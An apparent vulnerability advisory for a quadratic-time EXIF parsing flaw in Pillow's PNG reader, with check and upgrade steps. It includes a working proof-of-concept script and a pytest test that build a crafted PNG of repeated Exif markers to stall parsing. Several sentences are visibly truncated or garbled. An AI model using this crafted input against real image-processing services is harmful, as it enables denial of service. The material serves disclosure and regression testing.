---
id: "CVE-2026-96643"
kind: "vulnerability"
aliases: ["CVE-2026-96643", "GHSA-g4qv-2jxx-769h"]
title: "Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time"
severity: "high"
cvss: 7.1
epss: 0.003329999977722764
exploited: false
status: "open"
category: "package"
products: [{"name": "Pillow", "fixed": ["13.0.0"], "affected": ">= 11.0.0, < 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-407", "image-upload", "package", "pillow", "python", "web-apps"]
not_affected_if: ["no-png-upload-processing", "pillow-13-or-later"]
published_at: "2026-10-21T21:20:32+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T21:57:29+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-g4qv-2jxx-769h", "first_seen_at": "2026-10-23T19:11:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96643", "first_seen_at": "2026-10-23T21:57:29+00:00"}]
---

# Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Pillow's PNG reader accepts an eXIf chunk of any size and strips repeated Exif markers with a quadratic-time loop, so one crafted PNG of about 1.8MB takes several seconds of CPU to parse. An attacker who can get a PNG processed by Pillow can tie up CPU per request, a denial-of-service effect with no data exposure.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:Pillow affected >= 11.0.0, < 13.0.0 fixed 13.0.0

## How to check

Run pip show pillow and check whether the version is below 13.0.0.
Find where the app calls Image.getexif(), Image._getexif() or ImageOps.exif_transpose() on uploaded PNGs.

## Fix

Upgrade Pillow to 13.0.0 or later (pip install -U 'pillow>=13.0.0').
If upgrade is delayed, restrict uploads to size limits and time out image processing.

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-g4qv-2jxx-769h
- 2026-10-23T21:57:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-96643

## From the sources

### Summary
  A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

  ### Details
  `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:

  ```python
  while data and data.startswith(b"Exif\x00\x00"):
      data = data[6:]
  ```

  Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

  `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info["exif"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.

  If the eXIf chunk is filled with repeated `Exif\x00\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

  ### Steps to reproduce
  This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.

  ```python
  import time
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  marker = b"Exif\x00\x00"
  exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
  data = MAGIC + IHDR + exif_chunk + IDAT + IEND

  start = time.time()
  with Image.open(BytesIO(data)) as im:
      im.getexif()
  print("took", time.time() - start, "seconds")
  ```

  Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

  Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a
  few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

  A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is  it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.

  ```python
  import pytest
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  @pytest.mark.timeout(2)
  def test_exif_load_is_not_quadratic():
      marker = b"Exif\x00\x00"
      exif_chunk = chunk(b"eXIf", marker * 300_000)
      data = MAGIC + IHDR + exif_chunk + IDAT + IEND
      with Image.open(BytesIO(data)) as im:
          im.getexif()
  ```

  ### Impact
  - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
  - Confidentiality: none.
  - Integrity: none.
  - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_